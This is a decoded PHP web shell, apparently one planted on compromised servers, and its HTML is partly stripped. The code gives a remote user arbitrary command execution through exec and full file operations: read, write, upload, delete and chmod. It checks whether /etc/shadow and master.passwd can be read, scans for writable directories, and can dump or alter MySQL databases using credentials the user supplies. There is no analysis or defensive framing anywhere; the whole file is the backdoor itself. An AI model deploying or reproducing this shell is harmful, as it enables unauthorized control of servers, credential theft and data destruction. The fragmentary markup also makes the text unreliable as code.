/* Decoded by unphp.net */ $text");} function w($a){return str_repeat(" ",$a);} function b($b){return "$b";} function e($e){switch($e){ case 0:return('no such file'); case 1:return('no such dirictory'); case 2:return('permission denied'); case 3:return('is not dirictory'); case 4:return('is a dirictory'); }} function test_file($filename){ return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));} if(isset($_POST['downl']) && !empty($_POST['downf'])){ if(!preg_match('/^\//',$_POST['downf'])){ $_POST['downf']=$_POST['th'].'/'.$_POST['downf'];} if(!test_file($_POST['downf'])){ if(!is_dir($_POST['downf'])){ $fd=fopen($_POST['downf'], "rb"); $nam=preg_replace('/.+\//','',$_POST['downf']); header("Content-Type: application/octet-stream; name=\"".$nam."\""); header("Content-Length: ".filesize($_POST['downf'])); header("Content-disposition: attachment; filename=\"".$nam."\""); while(!feof($fd)){ $buffer=fgets($fd,4096); echo $buffer; } fclose ($fd); exit; } else $error=font('red',e(4)); } else $error=test_file($_POST['downf']);} if(isset($_POST['sql']) && !isset($_POST['exitsql'])){ $text=" Mysql@server:user:pass:db
"; $a=array('server','user','password','db');$i=-1; while($i++<3){ $text.= " ";} $text.=" "; $text=" Mysql@server:user:pass:db "; $a=array('srv','user','pass','db');$i=-1; while($i++<3){ $text.= " ";} $text.=" "; if(isset($_POST['sql'])){ if(isset($_POST['user']))$user=$_POST['user']; if(isset($_POST['pass']))$password=$_POST['pass']; if(isset($_POST['srv'])){ $server=$_POST['srv']; $connect=mysql_connect($server,$user,$password) or die($text."
not connect");} else{die($text."");} if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db
");} function write($data){ switch($_POST['save']){ case 0: global $dump; $dump.=$data; break; case 1: global $fp; switch($_POST['compr']){ case 0: fwrite($fp,$data); break; case 1: gzwrite($fp, $data); break; case 2: bzwrite($fp,$data); break;} break;}} function sqlh(){ global $dump,$server; write("# #Server : ".getenv('SERVER_NAME')." #DB_Host : ".$server." #DB : ".$_POST['db']." #Table : ".$_POST['table_sel']." # ");} function sql(){ global $dump,$connect; $row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect)); write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`; ".$row[1]."; ");} function sql1(){ global $connect; $result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect); function test($aaa){ $d=array(); while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);} return($d);} while ($line=mysql_fetch_assoc($result)) { ((!isset($key))?($key=implode('`, `',array_keys($line))):null); $ddd=test(array_values($line)); $val=implode('\', \'',$ddd); write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."'); ");} mysql_free_result($result);} function head($tmpfname,$name){ header("Content-Type: application/octet-stream; name=\"$name\""); header("Content-Length: ".filesize($tmpfname).""); header("Content-disposition: attachment; filename=\"$name\""); $fd=fopen($tmpfname, "r"); while(!feof($fd)){ echo fgets($fd, 4096);} fclose($fd); unlink($tmpfname); exit;} if(isset($_POST['back']) && isset($_POST['table_sel'])){ $dump=''; if($_POST['save']==1){ $tmpfname=tempnam($_POST['save_p'], "FOO"); switch($_POST['compr']){ case 0: $fp=fopen($tmpfname,"w"); break; case 1: $fp=gzopen($tmpfname, "w9"); break; case 2: $fp=bzopen($tmpfname, "w"); break;}} switch($_POST['as']){ case 0: switch($_POST['as_sql']){ case 0: sqlh(); sql(); break; case 1: sqlh(); sql(); sql1(); break; case 2: sqlh(); sql1(); break;} if($_POST['save']==1){ switch($_POST['compr']){ case 0: $n='.txt'; fclose($fp); break; case 1: $n='.gz'; gzclose($fp); break; case 2: $n='.bz2'; bzclose($fp); break;} head($tmpfname,$_POST['table_sel'].$n);} break; case 1: $res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect); if(mysql_num_rows($res) > 0) { while($row = mysql_fetch_assoc($res)) { $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode($_POST['cvs_term'], $values); write($values);}} break;}} echo "$text
"; $db_list=mysql_list_dbs($connect); echo " "; if(!empty($_POST['db'])){ $tb_list=mysql_list_tables($_POST['db']); echo "
"; if(isset($_POST['table_sel'])){ $c=array('Browse','SQL','Insert','Export');$i=-1; while($i++<3){echo "".$c[$i];}} echo "  ".((isset($_POST['table_sel']))?$_POST['table_sel']:null)."
";} if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0; elseif(isset($_POST['push']))$_POST['go']=1; if(isset($_POST['back']))$_POST['go']=3; if(isset($_POST['brow']))$_POST['go']=0; if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4; if(isset($_POST['ed_save']))$_POST['go']=5; if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0; if(isset($_POST['go'])){switch($_POST['go']){ case 0: if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){ $n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql']))); $result=mysql_query($_POST['querysql'],$connect);} else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort=''; if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20'; if(isset($_POST['br_st']) && isset($_POST['br_en'])){ $co=$_POST['br_en'].','.$_POST['br_st'];} $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);} for($i=0;$i "; while($line=mysql_fetch_array($result,MYSQL_ASSOC)){echo " "; if(!isset($lk)){ echo ""; foreach(array_keys($line) as $lk){print((isset($prim) && $lk===$prim)?"":" ");}} if(!isset($prim)){ while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";} $up_e=substr($up_e,0,-5);} else{while(list($key,$val)=each($line)){ if($key===$prim){$up_e.="`$key`='".addslashes($val)."'";}}} $up_e=urlencode($up_e); echo " "; $up_e=''; foreach($line as $col_value){echo " ";} echo " ";} echo "
EDIT$lk$lk
".((strlen($col_value)>40)?'':htmlspecialchars($col_value))."
Sort by Show row(s) starting from "; mysql_free_result($result); break; case 1: echo "


"; if(!empty($_POST['querysql'])){ $result = mysql_query($_POST['querysql'],$connect) or print("
".mysql_error($connect)."
"); echo "
".mysql_info($connect)."
";} break; case 2: echo "
"; $fields=mysql_list_fields($_POST['db'],$_POST['table_sel'],$connect); for($i=0;$i ";} echo "
".mysql_field_name($fields,$i).''.mysql_field_type($fields, $i).'('.mysql_field_len($fields, $i).")".((mysql_field_len($fields, $i)<40)?"":"")."
"; break; case 3: if(!isset($_POST['back']))echo '
  Export as
  SQL
  CSV
  SQL
Only structure
All
Only data
CSV
Terminated 
 View
 Download
 Temp path
'. ((@function_exists('gzencode'))?'':''). ((@function_exists('bzcompress'))?'':'').'
  Compression
None
Gzip
Bzip
'; if(isset($_POST['back']) && isset($_POST['table_sel'])){ if($_POST['save']==0){echo "";}} break; case 4: if(isset($_POST['edit'])){ $up_e=$_POST['edit']; echo ""; $up_e=urldecode($_POST['edit']); echo "
";$fi=0; $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` WHERE $up_e",$connect); while($line=mysql_fetch_array($result,MYSQL_ASSOC)){ foreach($line as $key=>$col_value) { echo " "; $fi++;}} echo "
".mysql_field_name($result,$fi).''.mysql_field_type($result,$fi).'('.mysql_field_len($result,$fi).")".((mysql_field_len($result,$fi)<40)?"":"")."
";} break; case 5: $ted=''; $_POST2=$_POST;# X.Z. zachem, xernya kakaeto :) while(list($key1,$val1)=each($_POST2)){ if(preg_match('/ed_key:(.+)/',$key1,$m)) {$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}} $ted=substr($ted,0,-2); $query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 "); echo "
".htmlspecialchars($query,ENT_QUOTES)."

"; $result = mysql_query($query,$connect) or print("
".mysql_error($connect)."
"); echo "
".mysql_info($connect)."
"; break;}} echo "
";} else echo $text; echo "";exit;} echo "
".font('blue',@php_uname())."
".font('blue','PHP:'.@phpversion())."".font('blue',date('H:i:s l d F Y'))."".font('blue',getenv('SERVER_ADDR'))."".font('blue',getenv('REMOTE_ADDR'))."

"; if(!test_file('/etc/shadow'))echo font('red',b('shadow readable
')); if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable
')); if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable
')); if(!empty($_POST['th']))@chdir($_POST['th']); echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE")); #UP if(isset($_POST['up']))@chdir('../'); #CD if(isset($_POST['c']) && $_POST['cd']!=''){ if(!test_file($_POST['cd'])){ if(is_dir($_POST['cd'])){ @chdir($_POST['cd']); } else $error=font('red',e(3)); } else $error=test_file($_POST['cd']);} echo w(3).""; echo font('blue','USER : '.get_current_user()); if(file_exists("/")) echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ')); if(file_exists("C:/")) echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ')); if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE'); echo "
"; ?>

'; foreach($ar_file as $ar_l){ if(!test_file($ar_l))echo " ";} echo ''; ?>

"; for($ach=7;$ach>=0;$ach--){echo"";} echo"";} ?>

Only dirOnly writeable:');} if(isset($_POST['fww']) && !empty($_POST['fpath'])){ echo b('Start path: Only dirOnly writeable:
'); $arrfw=array($_POST['fpath']); $ife=0; while(++$ife<=count($arrfw)){ $pathfw=$arrfw[$ife-1]; if(is_readable($pathfw)){ if($hfw=opendir($pathfw)){ while(false!==($ffw=readdir($hfw))){ $ffw=$pathfw.$ffw; if(!preg_match('/\/\.+$/',$ffw)){ if(is_dir($ffw)){array_push($arrfw,$ffw.'/');} print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/
",3) :(isset($_POST['onw'])?null:"$ffw/
")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw
",3):(isset($_POST['onw'])?null:"$ffw
")):null));}} closedir($hfw);}}}} if(isset($_POST['eval'])){ echo " "; echo ""; } ############################################################################ #RENAME if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){ if(file_exists($_POST['renold'])){ @rename($_POST['renold'],$_POST['rennew']); } else $error=font('red',e(0)); } # #RMDIR if(isset($_POST['rmd']) && isset($_POST['rmdir'])){ if(file_exists($_POST['rmdir'])){ if(is_dir($_POST['rmdir'])){ if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet"); else $error=font('red','dir not deleted'); } else $error=font('red',e(3)); } else $error=font('red',e(0)); } # #CHMOD if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){ if(file_exists($_POST['ch_mod'])){ @chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));} else $error=font('red',e(0));} # #DELETE if(isset($_POST['del']) && $_POST['rm']!=''){ if(file_exists($_POST['rm'])){ if(!is_dir($_POST['rm'])){ @unlink($_POST['rm']); } else echo "
".font('red',e(4)."
"); } else echo "
".font('red',e(0)."
"); } # #EXEC if(!empty($_POST['exe'])){ if(@exec($_POST['exec'],$ar)){ echo "";}} # #OPEN FILE if(isset($_POST['op']) && $_POST['open']!=''){ if(!test_file($_POST['open'])){ if(!is_dir($_POST['open'])){ $fil=file($_POST['open']); echo "
".font('green',"FILE : ".$_POST['open'],3); if(is_writable($_POST['open'])==1){ echo w(2).font('green','ACCESS GRANTED'); echo ""; }} else $error=font('red',e(2)); } else $error=test_file($_POST['open']); } if(isset($_POST['save'])){ $fr=fopen($_POST['sv'],"w"); $out=$_POST['edit']; fputs($fr,$out); fclose($fr); } # #CREATE FILE if(isset($_POST['cr']) && $_POST['new']!=''){ if(is_writable(dirname($_POST['new']))){ echo font('green',"Create new file : ".$_POST['new'],3)."
"; } else echo "
".font('red',e(2)."
"); } if(isset($_POST['cre'])){ $ee=fopen($_POST['nf'],'w+'); $out=$_POST['newf']; fputs($ee,$out); fclose($ee); } # #MKDIR if(isset($_POST['mk']) && $_POST['mkdir']!=''){ if(is_writeable('./')){ @mkdir($_POST['mkdir']); echo font('green',"dir ".b($_POST['mkdir'])." create"); } else echo font('red',e(2)); } # echo "
"; #UPLOAD FILE if(isset($_POST['menu']) || isset($_POST['qq'])){ echo "
Save as :File :
"; if(isset($_POST['go_up'])){ if(isset($_POST['name']) && $_POST['name']==''){ $_POST['name']=$_FILES['userfile']['name'];} if(!preg_match('/^\//',$_POST['name'])){ $_POST['name']=$_POST['th'].'/'.$_POST['name'];} if(is_uploaded_file($_FILES['userfile']['tmp_name'])){ @copy($_FILES['userfile']['tmp_name'],$_POST['name']);} else echo "
".font('red',"Permisions denied");}} # #TEST PERM if(isset($_POST['tes']) && $_POST['test']!=''){ $j=$_POST['test']; if(file_exists($j)){ $w=''; if(is_writeable($j)){ $w=w(1).'WRITE'.w(1); } if(is_readable($j)){ $w=$w.w(1).'READ'.w(1); } echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777)); } else echo font('red',$e(0)); } # #COPY if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){ if(file_exists(dirname($_POST['remot']))){ if(file_exists($_POST['strin'])){ if(is_writable(dirname($_POST['remot']))){ if(is_readable($_POST['strin'])){ @copy($_POST['strin'],$_POST['remot']); } else echo font('red',"no read string file"); } else echo font('red',"no write dest directory"); } else echo font('red',"no such file"); } else echo font('red',"no such dest dir"); } # #CHECK DISK if(isset($_POST['free']) && $_POST['dirfree']!=''){ if(file_exists($_POST['dirfree'])){ $fre=@disk_free_space($_POST['dirfree'])/1048576; echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb"); $fre1=@disk_total_space($_POST['dirfree'])/1048576; echo "
".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb"); } else echo font('red',"No such disk"); } # (isset($_POST['info']))?phpinfo():null; # #PASSWD if(!empty($_POST['passwd']) && isset($_POST['passw'])){ echo "
".font('blue',"file : ".$_POST['passwd'],6)."


";} # if(isset($error))echo $error;?>
".b(font('red','FUNCTION LIST PERMISSION DENIED',6)).""); sort($arr); echo ''; foreach($arr as $f){ $l=@lstat($f); print((is_readable($f) && is_writeable($f))?""; if(!is_dir($f)){ if(!is_link($f)){ echo w(2)."";} else echo "";} else echo ""; $fi=htmlspecialchars($f); echo " ";} ?>
".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"
".w(1).b("R").w(4):"").((is_writable($f))?"
".w(1).b(font('red','RW',3)):""))); $r=sprintf("%o",(@fileperms($f)) & 0777); $ow=posix_getpwuid($l[4]); $gr=posix_getgrgid($l[5]); $fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f)); if(!is_readable($f) && !is_writeable($f)) echo "
".w(12); echo "$r$fow".$l[7]."linkDIR".@strftime('%B %e %H:%M',@filemtime($f))."".(is_dir($f)?font('blue',$fi,3):$fi)."